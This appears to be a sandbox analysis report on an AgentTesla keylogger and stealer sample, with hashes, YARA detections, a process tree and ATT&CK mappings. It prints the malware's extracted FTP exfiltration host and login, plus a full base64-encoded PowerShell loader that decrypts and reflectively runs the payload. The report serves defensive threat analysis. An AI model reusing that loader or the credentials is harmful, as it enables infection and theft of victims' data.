agenttesla | e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
19/05/2024, 02:28

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General

Target
e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e.exe
Size 1.0MB
Sample240519-cydcysdg7v
SHA256 e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e
MD5 dc8a137a9917260473120aa235f69f5f
SHA1 dd74caccc6c2ab38da7f4171d1a64ae506f185b8
SHA512 de49ba1a489a488fa15262869f49944a3a46f1d2b2a1fc1e55b7e9914b92d892b5e22bc0230a7e8b7dd072f11753d7d683c4d49cb993d85eff23a92acdc61c19
SSDEEP 12288:MUfbdTxwbed/QIA8EmCCZPyXNDxaMejIQv7iglCqRoeuIIymiR8gZMRnObwZNtV:MUfhTFQBeCHND/j87j8oIhiR8gv69
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol
ftp
Host
ftp.tekserendustriyel.com
Port
21
Username
[email protected]
Password
chuzy2024@

Extracted

Family

agenttesla

Credentials

Protocol
ftp
Host
ftp://ftp.tekserendustriyel.com
Port
21
Username
[email protected]
Password
chuzy2024@

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs

resource	yara_rule
behavioral2/memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs

resource	yara_rule
behavioral2/memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables packed with or use KoiVM 1 IoCs

resource	yara_rule
behavioral2/memory/3320-16-0x0000025DF1B60000-0x0000025DF1BF4000-memory.dmp	INDICATOR_EXE_Packed_KoiVM

Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	api.ipify.org
37	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3320 set thread context of 4904	3320	powershell.exe	99

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3320	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
4904	CasPol.exe
4904	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	4904	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4904	CasPol.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 336 wrote to memory of 3320	336	e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e.exe	97
PID 336 wrote to memory of 3320	336	e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e.exe	97
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 4904	3320	powershell.exe	99
PID 3320 wrote to memory of 1192	3320	powershell.exe	100
PID 3320 wrote to memory of 1192	3320	powershell.exe	100
PID 3320 wrote to memory of 1192	3320	powershell.exe	100

C:\Users\Admin\AppData\Local\Temp\e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e.exe
"C:\Users\Admin\AppData\Local\Temp\e47140a389037bf3c66528b2a762dd359b3d2da361f324819b18ca595d2f178e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEYANQAsACAAMAB4ADYANQAsACAAMAB4AEIAMgAsACAAMAB4ADEANwAsACAAMAB4ADIAOQAsACAAMAB4ADkAMwAsACAAMAB4ADEAQQAsACAAMAB4AEIAMgAsACAAMAB4ADkAQQAsACAAMAB4ADIAQgAsACAAMAB4ADYANAAsACAAMAB4AEQAQQAsACAAMAB4ADAAOQAsACAAMAB4ADQANwAsACAAMAB4ADQARAAsACAAMAB4AEMANAAsACAAMAB4ADIARQAsACAAMAB4ADUANQAsACAAMAB4ADgANQAsACAAMAB4ADgARQAsACAAMAB4AEMAQQAsACAAMAB4AEMANgAsACAAMAB4AEIAMAAsACAAMAB4AEYAMgAsACAAMAB4AEIAOAAsACAAMAB4ADcAOQAsACAAMAB4ADgARgAsACAAMAB4ADEAMQAsACAAMAB4ADAAMgAsACAAMAB4AEQAOQAsACAAMAB4ADAAMwAsACAAMAB4ADIARQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEQALAAgADAAeABEAEEALAAgADAAeAAwADcALAAgADAAeABCAEMALAAgADAAeABBAEYALAAgADAAeAA2AEQALAAgADAAeAAyADIALAAgADAAeAA3ADMALAAgADAAeAA4ADMALAAgADAAeABDADYALAAgADAAeABFAEMALAAgADAAeABCAEEALAAgADAAeAA0AEUALAAgADAAeAA0AEEALAAgADAAeAA0ADkALAAgADAAeABCADMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4904
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    PID:1192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_gaabpx10.2dm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gaabpx10.2dm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-30607.putik

Path C:\Users\Admin\AppData\Local\Temp\file-30607.putik
Size 33KB
SHA256 a43e0362fee162598f177bc18013b4cd3861ac166ad1af06b460663a55a2cb35
MD5 3c14b9bc33ce5f0b10b4275a6eaa8357
SHA1 32aaab855271823146dd5ae040869b7d3396fe52
SHA512 f9f9d6f7d2717e49d892e69b67f9ff211ac1d4bee5182297bf39d0a064841a86b15423ac31e6528c2b629354cff5d7dd55739ba1c869b3a60d771da1834377a1
SSDEEP 768:JFRQxYh/xAjaQiCmIHsFMKDUkas6gJy87nDeNhOZK1:XKE6j9UIMKmaVgc8rD0z
MD5 SHA1 SHA512 SSDEEP

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memory/3320-1-0x00007FFFE1673000-0x00007FFFE1675000-memory.dmp

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memory/3320-7-0x0000025DF16A0000-0x0000025DF16C2000-memory.dmp

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memory/3320-12-0x00007FFFE1670000-0x00007FFFE2131000-memory.dmp

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memory/3320-13-0x00007FFFE1670000-0x00007FFFE2131000-memory.dmp

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memory/3320-15-0x0000025DF19F0000-0x0000025DF19FC000-memory.dmp

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memory/3320-16-0x0000025DF1B60000-0x0000025DF1BF4000-memory.dmp

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memory/3320-22-0x00007FFFE1670000-0x00007FFFE2131000-memory.dmp

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memory/4904-19-0x0000000005840000-0x0000000005DE4000-memory.dmp

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memory/4904-18-0x000000007493E000-0x000000007493F000-memory.dmp

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memory/4904-20-0x0000000005400000-0x0000000005466000-memory.dmp

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memory/4904-21-0x0000000074930000-0x00000000750E0000-memory.dmp

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memory/4904-17-0x0000000000400000-0x0000000000440000-memory.dmp

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memory/4904-23-0x0000000006810000-0x0000000006860000-memory.dmp

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memory/4904-24-0x0000000006900000-0x000000000699C000-memory.dmp

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memory/4904-25-0x0000000006A40000-0x0000000006AD2000-memory.dmp

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memory/4904-26-0x00000000069B0000-0x00000000069BA000-memory.dmp

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memory/4904-27-0x000000007493E000-0x000000007493F000-memory.dmp

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memory/4904-28-0x0000000074930000-0x00000000750E0000-memory.dmp

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